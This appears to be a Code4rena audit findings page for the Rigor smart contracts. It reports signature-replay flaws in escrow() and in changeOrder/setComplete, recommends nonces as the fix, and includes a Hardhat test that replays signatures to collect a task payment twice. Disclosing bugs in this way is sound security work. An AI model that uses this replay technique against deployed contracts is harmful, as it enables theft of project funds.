Platform: Code4rena
Start Date: 01/08/2022
Pot Size: $50,000 USDC
Total HM: 26
Participants: 133
Period: 5 days
Judge: Jack the Pug
Total Solo HM: 6
Id: 151
League: ETH
Rank: 28/133
Findings: 3
Award: $301.12
🌟 Selected for report: 0
🚀 Solo Findings: 0
165.6336 USDC - $165.63
escrow()'s signature does not prevent reuse of the signature, and after the first call, gets the transaction's _data, _signature Reuse the signature to call escrow(_data,_signature) directly to reduce the debt _reduceDebt()
escrow() does not have any "state" or "nonce" to prevent repeated calls to the _data and _signature
function escrow(bytes calldata _data, bytes calldata _signature) external virtual override whenNotPaused { //**********no nonce************// // Decode params from _data ( uint256 _communityID, address _builder, address _lender, address _agent, address _project, uint256 _repayAmount, bytes memory _details ) = abi.decode( _data, (uint256, address, address, address, address, uint256, bytes) ); // Compute hash from bytes bytes32 _hash = keccak256(_data); // Local instance of variable. For saving gas. IProject _projectInstance = IProject(_project); // Revert if decoded builder is not decoded project's builder require(_builder == _projectInstance.builder(), "Community::!Builder"); // Revert if decoded _communityID's owner is not decoded _lender require( _lender == _communities[_communityID].owner, "Community::!Owner" ); // check signatures checkSignatureValidity(_lender, _hash, _signature, 0); // must be lender checkSignatureValidity(_builder, _hash, _signature, 1); // must be builder checkSignatureValidity(_agent, _hash, _signature, 2); // must be agent or escrow // Internal call to reduce debt _reduceDebt(_communityID, _project, _repayAmount, _details); emit DebtReducedByEscrow(_agent); }
Add Nonce to the signature data of escrow to prevent reuse, it is recommended that all signatures add Nonce.
#0 - horsefacts
2022-08-06T20:29:49Z
94.8726 USDC - $94.87
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L474 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L160
By reusing the signature of changeOrder in Project.sol, the completed task can be reset to the initial (Task.unApprove does not restrict the current task state), and then reuse the signature of setComplete to repeat the task and get the token.
The steps are as follows:
it(' change order twice', async () => { const taskID = 1; const _taskCost = 2 * taskCost; const scUserA = signers[2]; const scUserB = signers[5]; //***** change userA to UserB ********// const aToBChangeOrderData = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, scUserB.address, _taskCost, project.address], }; const [aToBChangeOrderEncodedData, aToBChangeOrdersignature] = await multisig(aToBChangeOrderData, [signers[1], scUserA]); await project.changeOrder( aToBChangeOrderEncodedData, aToBChangeOrdersignature, ); //***** change userB to UserA ********// const bToAChangeOrderData = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, scUserA.address, _taskCost, project.address], }; const [bToAChangeOrderEncodedData, bToAChangeOrdersignature] = await multisig(bToAChangeOrderData, [signers[1], scUserB]); await project.changeOrder( bToAChangeOrderEncodedData, bToAChangeOrdersignature, ); //***** UserA complete task ********// const data = { types: ['uint256', 'address'], values: [taskID, project.address], }; const [encodedData, signature] = await multisig(data, [ signers[1], scUserA, ]); const lendCost = (await project.projectCost()).sub( await project.totalLent(), ); await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, project.address, lendCost) .returns(true); const lendingTx = await project.lendToProject(lendCost); await lendingTx.wait(); await mockDAIContract.mock.transfer .withArgs(scUserA.address, _taskCost) .returns(true); await mockDAIContract.mock.transfer .withArgs(await homeFiContract.treasury(), _taskCost / 1e3) .returns(true); await project.connect(scUserA).acceptInviteSC([taskID]); const tx = await project.setComplete(encodedData, signature); tx.wait(); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); //***** reuse changeOrder signature to set task to Inactive ********// await project.changeOrder( aToBChangeOrderEncodedData, aToBChangeOrdersignature, ); await project.changeOrder( bToAChangeOrderEncodedData, bToAChangeOrdersignature, ); //***** reuse setComplete signature to setComplete ********// await mockDAIContract.mock.transfer .withArgs(scUserA.address, _taskCost) .returns(true); await mockDAIContract.mock.transfer .withArgs(await homeFiContract.treasury(), _taskCost / 1e3) .returns(true); await project.connect(scUserA).acceptInviteSC([taskID]); const tx2 = await project.setComplete(encodedData, signature); tx2.wait(); await expect(tx2).to.emit(project, 'TaskComplete').withArgs(taskID); });
Add Nonce to the signature data of changeOrder to prevent reuse, it is recommended that all signatures add Nonce.
#0 - horsefacts
2022-08-06T20:49:34Z
#1 - zgorizzo69
2022-08-10T10:46:16Z
duplicate of #34
🌟 Selected for report: Lambda
Also found by: 0x1f8b, 0x52, 0xA5DF, 0xNazgul, 0xNineDec, 0xSmartContract, 0xSolus, 0xf15ers, 0xkatana, 0xsolstars, 8olidity, Aymen0909, Bahurum, Bnke0x0, CertoraInc, Chom, CodingNameKiki, Deivitto, Dravee, ElKu, Extropy, Funen, GalloDaSballo, Guardian, IllIllI, JC, Jujic, MEP, Noah3o6, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, SooYa, Soosh, Throne6g, TomJ, Tomio, TrungOre, Waze, Yiko, _Adam, __141345__, a12jmx, ajtra, ak1, arcoun, asutorufos, ayeslick, benbaessler, berndartmueller, bin2chen, bobirichman, brgltd, bulej93, byndooa, c3phas, codexploder, cryptonue, cryptphi, defsec, delfin454000, dipp, djxploit, erictee, exd0tpy, fatherOfBlocks, gogo, hake, hansfriese, horsefacts, hyh, ignacio, indijanc, joestakey, kaden, mics, minhquanym, neumo, obront, oyc_109, p_crypt0, pfapostol, poirots, rbserver, robee, rokinot, rotcivegaf, sach1r0, saian, samruna, saneryee, scaraven, sikorico, simon135, sseefried, supernova
40.621 USDC - $40.62
1.HomeFi.sol setTrustedForwarder() change the forwarder has a great impact, recommended to add events, good for monitoring important event
/// @inheritdoc IHomeFi function setTrustedForwarder(address _newForwarder) external override onlyAdmin noChange(trustedForwarder, _newForwarder) { trustedForwarder = _newForwarder; ++++ emit ForwarderReplaced(_newForwarder); }
contract Project is IProject, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable { --- using SafeERC20Upgradeable for IDebtToken; +++ using SafeERC20 for IERC20; ... ... ---- IDebtToken public override currency; ++++ IERC20 public override currency; .... } function initialize( address _currency, address _sender, address _homeFiAddress ) external override initializer { // Initialize variables homeFi = IHomeFi(_homeFiAddress); disputes = homeFi.disputesContract(); lenderFee = homeFi.lenderFee(); builder = _sender; --- currency = IDebtToken(_currency); +++ currency = IERC20(_currency); }